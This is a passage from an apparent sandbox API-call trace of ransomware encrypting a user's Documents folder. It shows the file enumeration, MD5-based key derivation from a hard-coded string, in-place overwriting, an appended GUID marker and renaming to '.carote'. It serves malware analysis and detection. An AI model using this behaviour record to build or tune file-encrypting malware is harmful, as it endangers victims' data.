pdwDataLen=0x825fa98) returned 1 [0112.126] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.126] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.126] GetLastError () returned 0x0 [0112.126] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.126] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.126] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.126] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x97d0) returned 0x7b182e0 [0112.126] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.126] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.126] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x97c5, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x97c5, lpOverlapped=0x0) returned 1 [0112.127] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.127] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x97ca, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.127] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.127] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0112.127] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.127] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0112.127] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0112.127] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0112.127] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.127] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.127] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.127] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.127] CloseHandle (hObject=0x61c) returned 1 [0112.128] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0112.128] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.128] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0112.128] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AYbPNC9cxxg.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aybpnc9cxxg.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AYbPNC9cxxg.pptx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aybpnc9cxxg.pptx.carote")) returned 1 [0112.128] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.128] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.129] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x795fb98 | out: hHeap=0x5010000) returned 1 [0112.129] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbc451380, ftCreationTime.dwHighDateTime=0x1d4d55f, ftLastAccessTime.dwLowDateTime=0xc5da80f0, ftLastAccessTime.dwHighDateTime=0x1d4cfa2, ftLastWriteTime.dwLowDateTime=0xc5da80f0, ftLastWriteTime.dwHighDateTime=0x1d4cfa2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BXteOBXIuKySqXgo0", cAlternateFileName="BXTEOB~1")) returned 1 [0112.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ed018 [0112.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecf90 [0112.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xfc) returned 0x50f5608 [0112.129] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0112.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c250 [0112.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0b10 [0112.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48498 [0112.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecc60 [0112.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ece80 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797c320 | out: hHeap=0x5010000) returned 1 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0a40 | out: hHeap=0x5010000) returned 1 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf08 | out: hHeap=0x5010000) returned 1 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecac8 | out: hHeap=0x5010000) returned 1 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecac8 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecf90 | out: hHeap=0x5010000) returned 1 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0112.130] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec8871a0, ftCreationTime.dwHighDateTime=0x1d53bfc, ftLastAccessTime.dwLowDateTime=0xa6c5f30, ftLastAccessTime.dwHighDateTime=0x1d518fb, ftLastWriteTime.dwLowDateTime=0xa6c5f30, ftLastWriteTime.dwHighDateTime=0x1d518fb, nFileSizeHigh=0x0, nFileSizeLow=0x3333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CjF8p.docx", cAlternateFileName="CJF8P~1.DOC")) returned 1 [0112.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0a40 [0112.130] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x795fb98 [0112.130] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0a40 | out: hHeap=0x5010000) returned 1 [0112.130] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CjF8p.docx") returned=".docx" [0112.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CjF8p.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cjf8p.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.131] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=13107) returned 1 [0112.131] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.133] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x330d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.133] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.134] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.134] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.134] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.135] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x3333, lpOverlapped=0x0) returned 1 [0112.135] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.135] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.135] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.135] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.135] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.136] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.136] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.136] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.136] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.136] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.136] GetLastError () returned 0x0 [0112.136] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.136] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.136] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.136] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x3330) returned 0x7b182e0 [0112.136] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.136] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.136] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x332e, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x332e, lpOverlapped=0x0) returned 1 [0112.137] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.137] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x3333, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.137] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0a40 [0112.137] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0112.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.137] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0112.137] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0112.137] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0a40 | out: hHeap=0x5010000) returned 1 [0112.137] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.137] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.137] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.137] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.137] CloseHandle (hObject=0x61c) returned 1 [0112.138] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.138] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.138] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.138] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CjF8p.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cjf8p.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CjF8p.docx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cjf8p.docx.carote")) returned 1 [0112.138] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.138] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.139] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x795fb98 | out: hHeap=0x5010000) returned 1 [0112.139] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x571cfaa0, ftCreationTime.dwHighDateTime=0x1d5146f, ftLastAccessTime.dwLowDateTime=0x8ee44bb0, ftLastAccessTime.dwHighDateTime=0x1d555dc, ftLastWriteTime.dwLowDateTime=0x8ee44bb0, ftLastWriteTime.dwHighDateTime=0x1d555dc, nFileSizeHigh=0x0, nFileSizeLow=0x9e37, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cVr6.pptx", cAlternateFileName="CVR6~1.PPT")) returned 1 [0112.139] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0a40 [0112.139] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8e) returned 0x795fb98 [0112.139] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0a40 | out: hHeap=0x5010000) returned 1 [0112.139] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cVr6.pptx") returned=".pptx" [0112.139] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cVr6.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cvr6.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.140] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=40503) returned 1 [0112.140] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.141] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9e11, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.141] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.143] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.143] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.143] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.143] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x9e37, lpOverlapped=0x0) returned 1 [0112.144] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.144] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.144] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.144] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.144] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.145] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.145] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.145] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.145] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0112.145] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.145] GetLastError () returned 0x0 [0112.145] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.145] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0112.145] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0112.145] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x9e40) returned 0x7b182e0 [0112.145] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0112.145] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.145] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x9e32, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x9e32, lpOverlapped=0x0) returned 1 [0112.145] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.145] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x9e37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.145] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0a40 [0112.145] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14c20 [0112.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14c20, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0112.146] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b182e0 [0112.146] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14c20 | out: hHeap=0x5010000) returned 1 [0112.146] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0a40 | out: hHeap=0x5010000) returned 1 [0112.146] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0112.146] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.146] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.146] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.146] CloseHandle (hObject=0x61c) returned 1 [0112.147] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a48768 [0112.147] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x880) returned 0x7b182e0 [0112.147] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a48768 | out: hHeap=0x5010000) returned 1 [0112.147] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cVr6.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cvr6.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cVr6.pptx.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cvr6.pptx.carote")) returned 1 [0112.147] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.147] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.148] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x795fb98 | out: hHeap=0x5010000) returned 1 [0112.148] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b288f30, ftCreationTime.dwHighDateTime=0x1d51320, ftLastAccessTime.dwLowDateTime=0x1c6008c0, ftLastAccessTime.dwHighDateTime=0x1d50a43, ftLastWriteTime.dwLowDateTime=0x1c6008c0, ftLastWriteTime.dwHighDateTime=0x1d50a43, nFileSizeHigh=0x0, nFileSizeLow=0xb8c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dCzpsluKVRUVVZ8bGKcj.pptx", cAlternateFileName="DCZPSL~1.PPT")) returned 1 [0112.148] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x7ac0a40 [0112.148] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x795fb98 [0112.148] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0a40 | out: hHeap=0x5010000) returned 1 [0112.148] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dCzpsluKVRUVVZ8bGKcj.pptx") returned=".pptx" [0112.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dCzpsluKVRUVVZ8bGKcj.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\dczpslukvruvvz8bgkcj.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.149] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=47301) returned 1 [0112.149] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.150] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xb89f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.150] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.152] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e80 [0112.152] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0112.152] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0112.152] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xb8c5, lpOverlapped=0x0) returned 1 [0112.153] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.153] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x25) returned 0x7a43f90 [0112.153] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.153] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.153] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0112.154] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.154] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.154] CryptGetHashParam (in: 